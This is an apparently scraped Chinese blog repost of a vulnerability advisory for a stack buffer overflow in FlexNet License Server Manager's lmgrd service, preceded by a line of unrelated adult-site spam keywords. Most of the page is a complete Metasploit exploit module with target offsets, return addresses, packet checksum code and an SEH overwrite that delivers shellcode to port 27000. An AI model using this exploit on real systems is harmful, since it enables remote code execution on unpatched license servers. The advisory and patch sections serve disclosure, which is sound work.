日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux查看lmgrd进程,FlexNet License Server Manager 'lmgrd' 组件栈缓冲区溢出漏洞

發布時間:2024/1/1 linux 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux查看lmgrd进程,FlexNet License Server Manager 'lmgrd' 组件栈缓冲区溢出漏洞 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

發布日期:2012-03-26

更新日期:2012-05-23

受影響系統:

Flexera FlexNet License Server Manager 11.9.1

不受影響系統:

Flexera FlexNet License Server Manager 11.10

描述:

--------------------------------------------------------------------------------

BUGTRAQ? ID: 52718

Flexera是應用程序用法管理的戰略解決方案提供商。FlexNet Publisher提供了自定義定價、軟件包和軟件許可條款的技術,也可防止未授權使用。lmgrd是在端口27000上監聽的許可證服務器管理器,作為多種產品的系統服務運行。

FlexNet Publisher的lmgrd License Server Manager在實現上存在漏洞,發送特制的報文到服務器可造成棧溢出,導致執行任意代碼。

鏈接:http://aluigi.altervista.org/adv/lmgrd_1-adv.txt

http://www.zerodayinitiative.com/advisories/ZDI-12-052/

http://www.flexerasoftware.com/pl/13057.htm

*>

測試方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

Luigi Auriemma (aluigi@pivx.com)提供了如下測試方法:

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#?? http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name'?????????? => 'FlexNet License Server Manager lmgrd Buffer Overflow',

'Description'??? => %q{

This module exploits a vulnerability in the FlexNet

License Server Manager.

The vulnerability is due to the insecure usage of memcpy

in the lmgrd service when handling network packets, which

results in a stack buffer overflow.

In order to improve reliability, this module will make lots of

connections to lmgrd during each attempt to maximize its success.

},

'Author'???????? =>

[

'Luigi Auriemma', # Vulnerability Discovery and PoC

'Alexander Gavrun', # Vulnerability Discovery

'juan vazquez', # Metasploit module

'sinn3r' # Metasploit module

],

'License'??????? => MSF_LICENSE,

'References'???? =>

[

[ 'OSVDB', '81899' ],

[ 'BID', '52718' ],

[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-052/' ],

[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ]

],

'Privileged'???? => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'process'

},

'Payload' =>

{

'Space' => 4000

},

'Platform'?????? => 'win',

'Targets'??????? =>

[

[ 'Debug', {} ],

[ 'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',

{

'Offset' => 10476,

'ShellcodeOffset' => 5504,

'Ret' => 0x0047d01f # ppr from lmgrd.exe

}

],

[ 'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',

{

'Offset' => 7324,

'ShellcodeOffset' => 2332,

'Ret' => 0x004eda91 # ppr from lmgrd.exe

}

],

[ 'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',

{

'Offset' => 7320,

'ShellcodeOffset' => 2328,

'Ret' => 0x004eb2e1 # ppr from lmgrd.exe

}

],

],

'DefaultTarget'? => 1,

'DisclosureDate' => 'Mar 23 2012'))

register_options(

[

Opt::RPORT(27000),

OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),

OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),

OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])

], self.class)

end

def header_checksum(packet)

packet_bytes = packet.unpack("C*")

checksum = packet_bytes[0]

i = 2

while i < 0x14

checksum = checksum + packet_bytes[i]

i = i + 1

end

return (checksum & 0x0FF)

end

def data_checksum(packet_data)

word_table = ""

i = 0

while i < 256

v4 = 0

v3 = i

j = 8

while j > 0

if ((v4 ^ v3) & 1) == 1

v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF

else

v4 = (v4 >> 1) & 0x0FFFF

end

v3 >>= 1

j = j - 1

end

word_table << [v4].pack("S")

i = i + 1

end

k = 0

checksum = 0

data_bytes = packet_data.unpack("C*")

word_table_words = word_table.unpack("S*")

while k < packet_data.length

position = data_bytes[k] ^ (checksum & 0x0FF)

checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF

k = k + 1

end

return checksum

end

def create_packet(data)

pkt = "\x2f"

pkt << "\x00" # header checksum

pkt << "\x00\x00" # data checksum

pkt << "\x00\x00" # pkt length

pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

pkt << data

pkt[4,2] = [pkt.length].pack("n")

data_sum = data_checksum(pkt[4, pkt.length - 4])

pkt[2, 2] = [data_sum].pack("n")

hdr_sum = header_checksum(pkt[0, 20])

pkt[1] = [hdr_sum].pack("C")

return pkt

end

def jam

pkt = create_packet("")

datastore['Jam'].times do

connect

sock.put(pkt)

disconnect

end

end

def exploit

i = 1

while i <= datastore['Attempts'] and not session_created?

print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")

do_exploit

sleep(datastore['Wait'])

i = i + 1

end

if not session_created?

print_error("Exploit didn't work after #{i} attempts")

end

end

def do_exploit

t = framework.threads.spawn("jam", false) { jam }

my_payload = payload.encoded

header_length = 20 # See create_packet() to understand this number

pkt_data = ""

if target.name =~ /Debug/

pkt_data << "a" * (65535 - header_length)

else

pkt_data << "a" * (target['ShellcodeOffset'])

pkt_data << my_payload

pkt_data << "b" * (target['Offset']-target['ShellcodeOffset']-my_payload.length)

pkt_data << generate_seh_record(target.ret)

pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string

pkt_data << "c" * (65535 - pkt_data.length - header_length)

end

pkt = create_packet(pkt_data)

connect

sock.put(pkt)

handler

disconnect

end

end

建議:

--------------------------------------------------------------------------------

廠商補丁:

Flexera

-------

目前廠商已經發布了升級補丁以修復這個安全問題,請到廠商的主頁下載:

www.flexerasoftware.com/

總結

以上是生活随笔為你收集整理的linux查看lmgrd进程,FlexNet License Server Manager 'lmgrd' 组件栈缓冲区溢出漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。